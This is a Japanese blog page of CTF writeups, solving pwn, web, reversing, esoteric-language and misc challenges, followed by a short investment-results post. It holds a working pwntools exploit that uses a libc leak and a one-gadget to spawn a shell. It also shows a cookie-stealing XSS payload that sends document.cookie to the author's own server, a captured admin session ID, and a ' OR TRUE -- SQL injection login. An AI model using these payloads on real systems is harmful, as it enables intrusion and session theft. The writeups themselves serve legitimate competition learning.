>> A
A
����Once more again!

まず A と入力して write のアドレスを拾って,付属されている libc の write の offset を確認して libc base アドレスをリークする.
これで2回目は 32 byte 書き込んだあと,特定のアドレスを書き込むことで libc 内の任意の命令を呼び出せるようになるので,もう勝ったな….という気持ちになってから約5時間溶かしました.
迷走した内容は libc 内の system を呼べばいいが rdi が 1 固定で ROP gadget つんでなんとかするのか,でもスタックがががが,みたいな泥沼です.
結局途中で Linear Operation なども見つつ調べていたら偶然 one-gadget なるものを知った. one-gadget は libc 内にあってその命令に飛ばすとシェルがあがる一連の gadget 列らしい.なんだその便利なものは….
ということで以下を使って付属の libc を探索してみた.

GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6

結果は以下のような感じ.

$ one_gadget ./libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

制限があるが, 2つ目は NULL になりそうだなあとおもって採用したらいけた.

from pwn import *

context.arch = 'amd64'

con = remote('153.120.129.186', 10000)
write_offset = 0x110140
system_offset = 0x04f440

con.recvregex('>> ')
con.sendline('A')
msg = con.recvregex('>> ')
libc_base_addr = unpack(msg[32:40]) - write_offset
print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40])

payload = 'A' * 32
payload += pack(libc_base_addr + 0x4f322)  # one gadget
con.sendline(payload)

con.interactive()

実行すると以下のようにフラグをとれる.

(CTF) mbp:CTF yuta1024$ python oneline.py
[+] Opening connection to 153.120.129.186 on port 10000: Done
[*] libc_base_addr = 0x7f91c347e140
[*] Switching to interactive mode
$ ls -l
total 16
-rw-r----- 1 root oneline   34 May 22 15:59 flag.txt
-rwxr-x--- 1 root oneline 8624 May 22 15:59 oneline
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}

Himitsu

後輩がやってて,ちょっと見てたんだけど Pwn で時間溶かしててあまりみれてなかった問題.
最終的に寝てるときに解法が降ってきてそのとおりにやったら解けた.

[#記事ID#] みたいにやると他の記事を読み込める.でもその記事がすでに <script> とか含んでると死ぬ(正確には < とかだけど).
後輩が同時にやったら回避できそうだけど同じタイトルだとエラーになるから無理,みたいな話をしていた.
先に未来の記事 ID を投稿しておいて,その時間になったらスクリプト仕込んだ記事を投稿すると,でクリアできる.
記事 ID 自体は単純に以下のようなロジックで生成されている(タイムゾーンは Asia/Tokyo になってるので注意).

$created_at = date("Y/m/d H:i");
$article_key = md5($username . $created_at . $title)

user は同じなので分までの時間とタイトルさえわかれば予測可能.
以下のような PHP スクリプトを書いて先に未来の記事 ID を予測して投稿する.
(snip になってるのは適当に自身のサーバアドレスとかいれてください)

<?php

date_default_timezone_set("Asia/Tokyo");

$username = "foofoo";
$title = "<script>location.href = 'http://<snip>/?' + document.cookie;</script>";

$created_at = date("2019/05/26 04:37");
$article_key = md5($username . $created_at . $title);

var_dump($article_key);

該当時間になったら(上記の場合だと 4:37 になったら)以下の記事を投稿する.

<script>location.href = 'http://<snip>/?' + document.cookie;</script>

するとサーバに以下のようなリクエストがきて admin の セッション ID を抜ける.

xxx.xxx.xxx.xxx - - [25/May/2019:19:37:20 +0000] "GET /?PHPSESSID=029711d08a7b6b3254b4028959f25d5d HTTP/1.1" 200 3520 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.157 Safari/537.36" "-"

あとはこのセッション ID をセットして開くとフラグが書かれた記事がみれる.
f:id:yharima:20190526155327p:plain

まとめ

それなりに解けたが,10位以内に入りたかったなあ….Pwn も全部解きたかったなあ…. いろいろ勉強が足りないところがわかったので,頑張っていきたい.あんまり時間ないけど….

f:id:yharima:20190526151033p:plain

追記1

使ったスクリプトgithub に上げるようにした.

github.com

追記2

チームメンバーの writeup を貼っておきます.

kent056-n.hatenablog.com

SECCON 令和CTF writeup

SECCON 令和CTF writeup

個人参加限定なので個人で.510 pts で12位でした.

フラグ例は?

warmup で入れるだけ.
SECCON{reiwa}

bREInWAck

brainf*ck なのは明らか.
それぞれの文字をどれに置き換えるかを全通り試す?と考えるも,文字頻度から推測できそう.
まず . だろう.出力的にラストだし.あと[] っぽい,形的にも.
あとは だけど は開幕現れてるので > っぽいし, はそのあと連続してるので + っぽい.
この法則でいくと < だし - だとエスパーして置換して適当なインタプリンタへ Go.

>++++++++++++++++[>+
++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.

エスパー成功した. SECCON{bREIn_WAnic!}

零は?

よくある方程式を解く問題.後輩から承諾 CTF で送りつけらたことがあってサクッとコードを書いた.
方程式は sympy で解く.ただそもそも ? = 0 のケースがあって死ぬっぽくそこは例外処理した.
(末尾のやるきない print は何行くるかわからなかったので適当)

from pwn import *
from sympy import *

x = Symbol('x')

con = remote('zerois-o-reiwa.seccon.jp', 23615)

for i in range(100):
    con.recvline()
    expr = con.recvline().replace("?", "x")
    print(i, expr)
    tmp = solve(Eq(eval(expr[2:-1]),0))
    if len(tmp) == 0:
        ans = 0
    else:
        ans = tmp[0]
    con.sendline(str(ans))

print con.recvline()
print con.recvline()
print con.recvline()
print con.recvline()
print con.recvline()
print con.recvline()

100 問解けば良い素直(後輩のは Stage 2 があった).
SECCON{REIWA_is_not_ZERO_IS}

元号発表

PDF 開くと QR が隠れてて読めない. LibraOffice で開いて上に重なっているやつをどかす.
そのまま読もうとするが読めない. 令和 の形で抜かれてる部分がたりなさそう.
復元か?とおもって画像ひっぱったらなんか裏に 令和 の形で抜かれた QR の部分コードが.
フロントにもってきて,でかい QR コードの 令和 の形で抜かれたところに移動して位置を微調整しながら以下のアプリで読んだ.

‎「QRコードリーダー for iPhone」をApp Storeで

SECCON{overlay_overlap_overera}

和暦の流れ

バリナリ読んでみると 0x804878f あたりから入力された文字を1文字づつ cmp していることがわかる.
ざっと眺めてみると SHOWA をベースになんかゴニョゴニョして比較してる.入力は5文字.
適当な文字を入れて cmp あたりに BP 貼ってレジスタみてると1文字目は R であるらしい.
REIWA じゃないんか…と思ったけど違う.3文字目くらいまで適当に入れてあててみると RAY であることがわかった.
これってもしかして REIWA をそれっぽく読める感じのものを入れればいいのか…?とおもって RAYWA を入れると正解.
次が Old era らしいが,どうせ HEYSAY とかそういう感じだろうと予想して入れると通った.
SECCON{M-T-S-H-R}

reiwaVote

Web だし, SQLi とかじゃろ…と思っていろいろやるもうまくいかない.
登録時に ' を入れてみるとなんかログイン時にバグることがわかった.どうも syntax error でパスワードの MD5 が出ているみたい.
''' とかしてもだめ.登録されているユーザチェックが走るっぽくまず登録されていることが前提.
とはいえ,ログイン時のパスワードのハッシュ値なんか見えてもなんの意味もない.
ということはこれは登録時になんらかの SQLi ぶっこめば,別ユーザでログインできるみたいななにかなのではと予想する.
適当にユーザ名に誰でもログインできそうな SQLi ぶっこんでみるかーと思い, ' OR TRUE -- で登録.
その ID でログインしているみると見事 shinzo になれた.令和に投票して結果をみると1位になった.スーパーユーザーかなにか? あとは投票を閉め切れば以下のフラグが出た.歴史を守った!
SECCON{e32afd2cf7b98e41cf70fed}

まとめ

なんか意外と調子よく解けて良かった.
平成最後かつ令和最初の CTF でなかなか良かったので,新元号時代も頑張っていきたい.

f:id:yharima:20190501023029p:plain

2018年運用成績 & おまけ

概要

方針と去年の結果は以下. yuta1024.hateblo.jp

投資信託でも最近は商品が増えてきたので, S&P500 か VTI かを入れてみても良いのかなあと考えはじめた.

結果

12月中旬くらいからすごい勢いで溶けましたね…. f:id:yharima:20181231224154p:plain

おまけ

X は遠いですね…. f:id:yharima:20181231224830p:plain